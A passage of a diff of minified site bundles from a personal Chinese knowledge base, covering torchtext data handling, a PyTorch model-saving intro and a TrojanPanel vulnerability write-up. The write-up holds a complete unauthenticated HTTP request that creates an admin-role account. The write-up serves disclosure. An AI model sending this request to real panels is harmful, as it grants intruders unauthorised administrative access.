use_vocab=False)\n"})}),"\n",(0,r.jsx)(t.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,r.jsx)(t.p,{children:"\u200b\tsequential\u8bbe\u7f6e\u6570\u636e\u662f\u5426\u662f\u987a\u5e8f\u8868\u793a\u7684\uff1b"}),"\n",(0,r.jsx)(t.p,{children:"\u200b\ttokenize\u7528\u4e8e\u8bbe\u7f6e\u5c06\u5b57\u7b26\u4e32\u6807\u8bb0\u4e3a\u987a\u5e8f\u5b9e\u4f8b\u7684\u51fd\u6570"}),"\n",(0,r.jsx)(t.p,{children:"\u200b\tlower\u8bbe\u7f6e\u662f\u5426\u5c06\u5b57\u7b26\u4e32\u5168\u90e8\u8f6c\u4e3a\u5c0f\u5199\uff1b"}),"\n",(0,r.jsx)(t.p,{children:"\u200b\tfix_length\u8bbe\u7f6e\u6b64\u5b57\u6bb5\u6240\u6709\u5b9e\u4f8b\u90fd\u5c06\u586b\u5145\u5230\u4e00\u4e2a\u56fa\u5b9a\u7684\u957f\u5ea6\uff0c\u65b9\u4fbf\u540e\u7eed\u5904\u7406\uff1b"}),"\n",(0,r.jsx)(t.p,{children:"\u200b\tuse_vocab\u8bbe\u7f6e\u662f\u5426\u5f15\u5165Vocab object\uff0c\u5982\u679c\u4e3aFalse\uff0c\u5219\u9700\u8981\u4fdd\u8bc1\u4e4b\u540e\u8f93\u5165field\u4e2d\u7684data\u90fd\u662fnumerical\u7684"}),"\n",(0,r.jsx)(t.p,{children:"\u6784\u5efaField\u5b8c\u6210\u540e\u5c31\u53ef\u4ee5\u8fdb\u4e00\u6b65\u6784\u5efadataset\u4e86\uff1a"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"from torchtext import data\ndef get_dataset(csv_data, text_field, label_field, test=False):\n fields = [(\"id\", None), # we won't be needing the id, so we pass in None as the field\n (\"comment_text\", text_field), (\"toxic\", label_field)] \n examples = []\n\n if test:\n # \u5982\u679c\u4e3a\u6d4b\u8bd5\u96c6\uff0c\u5219\u4e0d\u52a0\u8f7dlabel\n for text in tqdm(csv_data['comment_text']):\n examples.append(data.Example.fromlist([None, text, None], fields))\n else:\n for text, label in tqdm(zip(csv_data['comment_text'], csv_data['toxic'])):\n examples.append(data.Example.fromlist([None, text, label], fields))\n return examples, fields\n"})}),"\n",(0,r.jsx)(t.p,{children:'\u8fd9\u91cc\u4f7f\u7528\u6570\u636ecsv_data\u4e2d\u6709"comment_text"\u548c"toxic"\u4e24\u5217\uff0c\u5206\u522b\u5bf9\u5e94text\u548clabel\u3002'}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"train_data = pd.read_csv('train_toxic_comments.csv')\nvalid_data = pd.read_csv('valid_toxic_comments.csv')\ntest_data = pd.read_csv(\"test_toxic_comments.csv\")\nTEXT = data.Field(sequential=True, tokenize=tokenize, lower=True)\nLABEL = data.Field(sequential=False, use_vocab=False)\n\n# \u5f97\u5230\u6784\u5efaDataset\u6240\u9700\u7684examples\u548cfields\ntrain_examples, train_fields = get_dataset(train_data, TEXT, LABEL)\nvalid_examples, valid_fields = get_dataset(valid_data, TEXT, LABEL)\ntest_examples, test_fields = get_dataset(test_data, TEXT, None, test=True)\n# \u6784\u5efaDataset\u6570\u636e\u96c6\ntrain = data.Dataset(train_examples, train_fields)\nvalid = data.Dataset(valid_examples, valid_fields)\ntest = data.Dataset(test_examples, test_fields)\n"})}),"\n",(0,r.jsx)(t.p,{children:"\u53ef\u4ee5\u770b\u5230\uff0c\u5b9a\u4e49Field\u5bf9\u8c61\u5b8c\u6210\u540e\uff0c\u901a\u8fc7get_dataset\u51fd\u6570\u53ef\u4ee5\u8bfb\u5165\u6570\u636e\u7684\u6587\u672c\u548c\u6807\u7b7e\uff0c\u5c06\u4e8c\u8005\uff08examples\uff09\u8fde\u540cfield\u4e00\u8d77\u9001\u5230torchtext.data.Dataset\u7c7b\u4e2d\uff0c\u5373\u53ef\u5b8c\u6210\u6570\u636e\u96c6\u7684\u6784\u5efa\u3002\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u53ef\u4ee5\u770b\u4e0b\u8bfb\u5165\u7684\u6570\u636e\u60c5\u51b5\uff1a"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"# \u68c0\u67e5keys\u662f\u5426\u6b63\u786e\nprint(train[0].__dict__.keys())\nprint(test[0].__dict__.keys())\n# \u62bd\u67e5\u5185\u5bb9\u662f\u5426\u6b63\u786e\nprint(train[0].comment_text)\n"})}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.strong,{children:"\u8bcd\u6c47\u8868\uff08vocab\uff09"})}),"\n"]}),"\n",(0,r.jsx)(t.p,{children:"\u5728NLP\u4e2d\uff0c\u5c06\u5b57\u7b26\u4e32\u5f62\u5f0f\u7684\u8bcd\u8bed\uff08word\uff09\u8f6c\u53d8\u4e3a\u6570\u5b57\u5f62\u5f0f\u7684\u5411\u91cf\u8868\u793a\uff08embedding\uff09\u662f\u975e\u5e38\u91cd\u8981\u7684\u4e00\u6b65\uff0c\u88ab\u79f0\u4e3aWord Embedding\u3002\u8fd9\u4e00\u6b65\u7684\u57fa\u672c\u601d\u60f3\u662f\u6536\u96c6\u4e00\u4e2a\u6bd4\u8f83\u5927\u7684\u8bed\u6599\u5e93\uff08\u5c3d\u91cf\u4e0e\u6240\u505a\u7684\u4efb\u52a1\u76f8\u5173\uff09\uff0c\u5728\u8bed\u6599\u5e93\u4e2d\u4f7f\u7528word2vec\u4e4b\u7c7b\u7684\u65b9\u6cd5\u6784\u5efa\u8bcd\u8bed\u5230\u5411\u91cf\uff08\u6216\u6570\u5b57\uff09\u7684\u6620\u5c04\u5173\u7cfb\uff0c\u4e4b\u540e\u5c06\u8fd9\u4e00\u6620\u5c04\u5173\u7cfb\u5e94\u7528\u4e8e\u5f53\u524d\u7684\u4efb\u52a1\uff0c\u5c06\u53e5\u5b50\u4e2d\u7684\u8bcd\u8bed\u8f6c\u4e3a\u5411\u91cf\u8868\u793a\u3002"}),"\n",(0,r.jsx)(t.p,{children:"\u5728torchtext\u4e2d\u53ef\u4ee5\u4f7f\u7528Field\u81ea\u5e26\u7684build_vocab\u51fd\u6570\u5b8c\u6210\u8bcd\u6c47\u8868\u6784\u5efa\u3002"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"TEXT.build_vocab(train)\n"})}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.strong,{children:"\u6570\u636e\u8fed\u4ee3\u5668"})}),"\n"]}),"\n",(0,r.jsx)(t.p,{children:"\u5176\u5b9e\u5c31\u662ftorchtext\u4e2d\u7684DataLoader\uff0c\u770b\u4e0b\u4ee3\u7801\u5c31\u660e\u767d\u4e86\uff1a"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"from torchtext.data import Iterator, BucketIterator\n# \u82e5\u53ea\u9488\u5bf9\u8bad\u7ec3\u96c6\u6784\u9020\u8fed\u4ee3\u5668\n# train_iter = data.BucketIterator(dataset=train, batch_size=8, shuffle=True, sort_within_batch=False, repeat=False)\n\n# \u540c\u65f6\u5bf9\u8bad\u7ec3\u96c6\u548c\u9a8c\u8bc1\u96c6\u8fdb\u884c\u8fed\u4ee3\u5668\u7684\u6784\u5efa\ntrain_iter, val_iter = BucketIterator.splits(\n (train, valid), # \u6784\u5efa\u6570\u636e\u96c6\u6240\u9700\u7684\u6570\u636e\u96c6\n batch_sizes=(8, 8),\n device=-1, # \u5982\u679c\u4f7f\u7528gpu\uff0c\u6b64\u5904\u5c06-1\u66f4\u6362\u4e3aGPU\u7684\u7f16\u53f7\n sort_key=lambda x: len(x.comment_text), # the BucketIterator needs to be told what function it should use to group the data.\n sort_within_batch=False\n)\n\ntest_iter = Iterator(test, batch_size=8, device=-1, sort=False, sort_within_batch=False)\n"})}),"\n",(0,r.jsx)(t.p,{children:"torchtext\u652f\u6301\u53ea\u5bf9\u4e00\u4e2adataset\u548c\u540c\u65f6\u5bf9\u591a\u4e2adataset\u6784\u5efa\u6570\u636e\u8fed\u4ee3\u5668\u3002"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.strong,{children:"\u4f7f\u7528\u81ea\u5e26\u6570\u636e\u96c6"})}),"\n"]}),"\n",(0,r.jsxs)(t.p,{children:["\u4e0etorchvision\u7c7b\u4f3c\uff0ctorchtext\u4e5f\u63d0\u4f9b\u82e5\u5e72\u5e38\u7528\u7684\u6570\u636e\u96c6\u65b9\u4fbf\u5feb\u901f\u8fdb\u884c\u7b97\u6cd5\u6d4b\u8bd5\u3002\u53ef\u4ee5\u67e5\u770b",(0,r.jsx)(t.a,{href:"https://pytorch.org/text/stable/datasets.html",children:"\u5b98\u65b9\u6587\u6863"}),"\u5bfb\u627e\u60f3\u8981\u4f7f\u7528\u7684\u6570\u636e\u96c6\u3002"]}),"\n",(0,r.jsx)(t.h2,{id:"844-\u8bc4\u6d4b\u6307\u6807metric",children:"8.4.4 \u8bc4\u6d4b\u6307\u6807\uff08metric\uff09"}),"\n",(0,r.jsx)(t.p,{children:"NLP\u4e2d\u90e8\u5206\u4efb\u52a1\u7684\u8bc4\u6d4b\u4e0d\u662f\u901a\u8fc7\u51c6\u786e\u7387\u7b49\u6307\u6807\u5b8c\u6210\u7684\uff0c\u6bd4\u5982\u673a\u5668\u7ffb\u8bd1\u4efb\u52a1\u5e38\u7528BLEU (bilingual evaluation understudy) score\u6765\u8bc4\u4ef7\u9884\u6d4b\u6587\u672c\u548c\u6807\u7b7e\u6587\u672c\u4e4b\u95f4\u7684\u76f8\u4f3c\u7a0b\u5ea6\u3002torchtext\u4e2d\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528torchtext.data.metrics.bleu_score\u6765\u5feb\u901f\u5b9e\u73b0BLEU\uff0c\u4e0b\u9762\u662f\u4e00\u4e2a\u5b98\u65b9\u6587\u6863\u4e2d\u7684\u4e00\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"from torchtext.data.metrics import bleu_score\ncandidate_corpus = [['My', 'full', 'pytorch', 'test'], ['Another', 'Sentence']]\nreferences_corpus = [[['My', 'full', 'pytorch', 'test'], ['Completely', 'Different']], [['No', 'Match']]]\nbleu_score(candidate_corpus, references_corpus)\n"})}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{children:"0.8408964276313782\n"})}),"\n",(0,r.jsx)(t.h2,{id:"845-\u5176\u4ed6",children:"8.4.5 \u5176\u4ed6"}),"\n",(0,r.jsx)(t.p,{children:"\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u7531\u4e8eNLP\u5e38\u7528\u7684\u7f51\u7edc\u7ed3\u6784\u6bd4\u8f83\u56fa\u5b9a\uff0ctorchtext\u5e76\u4e0d\u50cftorchvision\u90a3\u6837\u63d0\u4f9b\u4e00\u7cfb\u5217\u5e38\u7528\u7684\u7f51\u7edc\u7ed3\u6784\u3002\u6a21\u578b\u4e3b\u8981\u901a\u8fc7torch.nn\u4e2d\u7684\u6a21\u5757\u6765\u5b9e\u73b0\uff0c\u6bd4\u5982torch.nn.LSTM\u3001torch.nn.RNN\u7b49\u3002"}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.strong,{children:"\u5907\u6ce8\uff1a"})}),"\n",(0,r.jsxs)(t.p,{children:["\u5bf9\u4e8e\u6587\u672c\u7814\u7a76\u800c\u8a00\uff0c\u5f53\u4e0bTransformer\u5df2\u7ecf\u6210\u4e3a\u4e86\u7edd\u5bf9\u7684\u4e3b\u6d41\uff0c\u56e0\u6b64PyTorch\u751f\u6001\u4e2d\u7684",(0,r.jsx)(t.a,{href:"https://huggingface.co/",children:"HuggingFace"}),"\u7b49\u5de5\u5177\u5305\u4e5f\u53d7\u5230\u4e86\u8d8a\u6765\u8d8a\u5e7f\u6cdb\u7684\u5173\u6ce8\u3002\u8fd9\u91cc\u5f3a\u70c8\u5efa\u8bae\u8bfb\u8005\u81ea\u884c\u63a2\u7d22\u76f8\u5173\u5185\u5bb9\uff0c\u53ef\u4ee5\u5199\u4e0b\u81ea\u5df1\u5bf9\u4e8eHuggingFace\u7684\u7b14\u8bb0\uff0c\u5982\u679c\u603b\u7ed3\u5168\u9762\u7684\u8bdd\u6b22\u8fcepull request\uff0c\u5145\u5b9e\u6211\u4eec\u7684\u8bfe\u7a0b\u5185\u5bb9\u3002"]}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.strong,{children:"\u672c\u8282\u53c2\u8003"})}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.a,{href:"https://pytorch.org/text/stable/index.html",children:"torchtext\u5b98\u65b9\u6587\u6863"})}),"\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.a,{href:"https://github.com/atnlp/torchtext-summary",children:"atnlp/torchtext-summary"})}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/0f53d643.98cf9b43.js b/en/assets/js/0f53d643.98cf9b43.js new file mode 100644 index 0000000..3fa5214 --- /dev/null +++ b/en/assets/js/0f53d643.98cf9b43.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[140],{28453:(e,n,t)=>{t.d(n,{R:()=>s,x:()=>i});var o=t(96540);const a={},r=o.createContext(a);function s(e){const n=o.useContext(r);return o.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:s(e.components),o.createElement(r.Provider,{value:n},e.children)}},62515:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>i,default:()=>p,frontMatter:()=>s,metadata:()=>o,toc:()=>l});const o=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","title":"TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/03.Trojanpanel/01.TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/03.Trojanpanel","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/03.Trojanpanel/01.TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"privilege-escalation-1.6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6"},"next":{"title":"CVE-2023-33246","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246"}}');var a=t(74848),r=t(28453);const s={},i=void 0,c={},l=[];function d(e){const n={code:"code",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsxs)(n.table,{children:[(0,a.jsx)(n.thead,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(n.tbody,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.td,{style:{textAlign:"left"},children:(0,a.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:48:04"})]})})]}),"\n",(0,a.jsx)(n.p,{children:"\u95f2\u6765\u65e0\u4e8b \u53d1\u73b0\u4e86 \u4e00\u4e2a\u6388\u6743\u6f0f\u6d1e"}),"\n",(0,a.jsx)(n.p,{children:"**\u6f0f\u6d1e\u63cf\u8ff0\uff1a**\u653b\u51fb\u8005\u53ef\u4ee5\u672a\u6388\u6743\u6dfb\u52a0\u540e\u53f0\u7ba1\u7406\u5458\u7528\u6237"}),"\n",(0,a.jsx)(n.p,{children:"\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u901a\u8fc7burp\u53d1\u9001\u8bf7\u6c42\u5373\u53ef\u6dfb\u52a0\u7ba1\u7406\u5458\u7528\u6237"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-http",children:'POST /api/account/createAccount HTTP/1.1\nHost: xx.xx.xx.xx:xxx\nContent-Length: 165\nSec-Ch-Ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"\nAccept: application/json, text/plain, */*\nContent-Type: application/json\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: "Windows"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\n\n{"quota":-1,"download":0,"upload":0,"username":"test02","pass":"qwe511402","roleId":2,"deleted":0,"expireTime":1964411864000,"createTime":"2023-04-09T05:57:44.830Z"}\n'})}),"\n",(0,a.jsxs)(n.p,{children:["\u53d1\u9001\u540e\uff0c\u5373\u53ef\u6210\u529f\u7528\u6237",(0,a.jsx)(n.code,{children:"test02"})," \u767b\u5f55\u5230\u540e\u53f0\uff0c\u5982\u4e0b\u56fe"]}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648911.png",alt:"image-20230409143850113"})}),"\n",(0,a.jsx)(n.p,{children:"**\u6f0f\u6d1e\u5371\u5bb3\uff1a**\u5229\u7528\u8be5\u63a5\u53e3\uff0c\u653b\u51fb\u8005\u53ef\u6210\u529f\u6dfb\u52a0\u7528\u6237\u81f3\u540e\u53f0\u3001"}),"\n",(0,a.jsx)(n.p,{children:"**\u4fee\u590d\u5efa\u8bae\uff1a**\u6dfb\u52a0\u9274\u6743\uff0c\u53ea\u5141\u8bb8\u7cfb\u7edf\u7ba1\u7406\u5458\u6dfb\u52a0\u7528\u6237"})]})}function p(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,a.jsx)(n,{...e,children:(0,a.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/10b901da.3145feee.js b/en/assets/js/10b901da.3145feee.js new file mode 100644 index 0000000..1b5ef03 --- /dev/null +++ b/en/assets/js/10b901da.3145feee.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4623],{28453:(e,n,d)=>{d.d(n,{R:()=>s,x:()=>t});var l=d(96540);const o={},r=l.createContext(o);function s(e){const n=l.useContext(r);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function t(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(o):e.components||o:s(e.components),l.createElement(r.Provider,{value:n},e.children)}},42419:(e,n,d)=>{d.r(n),d.d(n,{assets:()=>i,contentTitle:()=>t,default:()=>h,frontMatter:()=>s,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","title":"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b"},"next":{"title":"\u7b2c\u516d\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/"}}');var o=d(74848),r=d(28453);const s={},t="5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md",i={},c=[{value:"5.4.1 \u6a21\u578b\u5b58\u50a8\u683c\u5f0f",id:"541-\u6a21\u578b\u5b58\u50a8\u683c\u5f0f",level:2},{value:"5.4.2 \u6a21\u578b\u5b58\u50a8\u5185\u5bb9",id:"542-\u6a21\u578b\u5b58\u50a8\u5185\u5bb9",level:2},{value:"5.4.3 \u5355\u5361\u548c\u591a\u5361\u6a21\u578b\u5b58\u50a8\u7684\u533a\u522b",id:"543-\u5355\u5361\u548c\u591a\u5361\u6a21\u578b\u5b58\u50a8\u7684\u533a\u522b",level:2},{value:"5.4.4 \u5355\u5361/\u591a\u5361\u60c5\u51b5\u5206\u7c7b\u8ba8\u8bba",id:"544-\u5355\u5361\u591a\u5361\u60c5\u51b5\u5206\u7c7b\u8ba8\u8bba",level:2},{value:"5.4.5 \u5176\u4ed6\u53c2\u6570\u7684\u4fdd\u5b58\u548c\u8bfb\u53d6",id:"545-\u5176\u4ed6\u53c2\u6570\u7684\u4fdd\u5b58\u548c\u8bfb\u53d6",level:2},{value:"\u9644\uff1a\u6d4b\u8bd5\u73af\u5883",id:"\u9644\u6d4b\u8bd5\u73af\u5883",level:2},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function a(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(n.header,{children:(0,o.jsx)(n.h1,{id:"54-pytorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6md",children:"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(n.table,{children:[(0,o.jsx)(n.thead,{children:(0,o.jsxs)(n.tr,{children:[(0,o.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(n.tbody,{children:(0,o.jsxs)(n.tr,{children:[(0,o.jsx)(n.td,{style:{textAlign:"left"},children:(0,o.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(n.table,{children:[(0,o.jsx)(n.thead,{children:(0,o.jsxs)(n.tr,{children:[(0,o.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(n.tbody,{children:(0,o.jsxs)(n.tr,{children:[(0,o.jsx)(n.td,{style:{textAlign:"left"},children:(0,o.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,o.jsx)(n.h1,{id:"54-pytorch\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6",children:"5.4 PyTorch\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6"}),"\n",(0,o.jsx)(n.p,{children:"\u5728\u524d\u9762\u51e0\u8282\u7684\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u4ecb\u7ecd\u4e86\u5982\u4f55\u6784\u5efa\u548c\u4fee\u6539PyTorch\u6a21\u578b\u3002\u672c\u8282\u6211\u4eec\u6765\u8ba8\u8bbaPyTorch\u5982\u4f55\u4fdd\u5b58\u548c\u8bfb\u53d6\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u548c\u53c2\u6570\u3002"}),"\n",(0,o.jsx)(n.p,{children:"\u53e6\u5916\uff0c\u5728\u5f88\u591a\u573a\u666f\u4e0b\u6211\u4eec\u90fd\u4f1a\u4f7f\u7528\u591aGPU\u8bad\u7ec3\u3002\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6a21\u578b\u4f1a\u5206\u5e03\u4e8e\u5404\u4e2aGPU\u4e0a\uff08\u53c2\u52a02.3\u8282\u5206\u5e03\u6570\u636e\u5f0f\u8bad\u7ec3\uff0c\u8fd9\u91cc\u6682\u4e0d\u8003\u8651\u5206\u5e03\u6a21\u578b\u5f0f\u8bad\u7ec3\uff09\uff0c\u6a21\u578b\u7684\u4fdd\u5b58\u548c\u8bfb\u53d6\u4e0e\u5355GPU\u8bad\u7ec3\u60c5\u666f\u4e0b\u662f\u5426\u6709\u6240\u4e0d\u540c\uff1f"}),"\n",(0,o.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:"PyTorch\u7684\u6a21\u578b\u7684\u5b58\u50a8\u683c\u5f0f"}),"\n",(0,o.jsx)(n.li,{children:"PyTorch\u5982\u4f55\u5b58\u50a8\u6a21\u578b"}),"\n",(0,o.jsx)(n.li,{children:"\u5355\u5361\u4e0e\u591a\u5361\u8bad\u7ec3\u4e0b\u6a21\u578b\u7684\u4fdd\u5b58\u4e0e\u52a0\u8f7d\u65b9\u6cd5"}),"\n",(0,o.jsx)(n.li,{children:"\u4f18\u5316\u5668\u6a21\u578b\u53c2\u6570\u7684\u4fdd\u5b58"}),"\n"]}),"\n",(0,o.jsx)(n.h2,{id:"541-\u6a21\u578b\u5b58\u50a8\u683c\u5f0f",children:"5.4.1 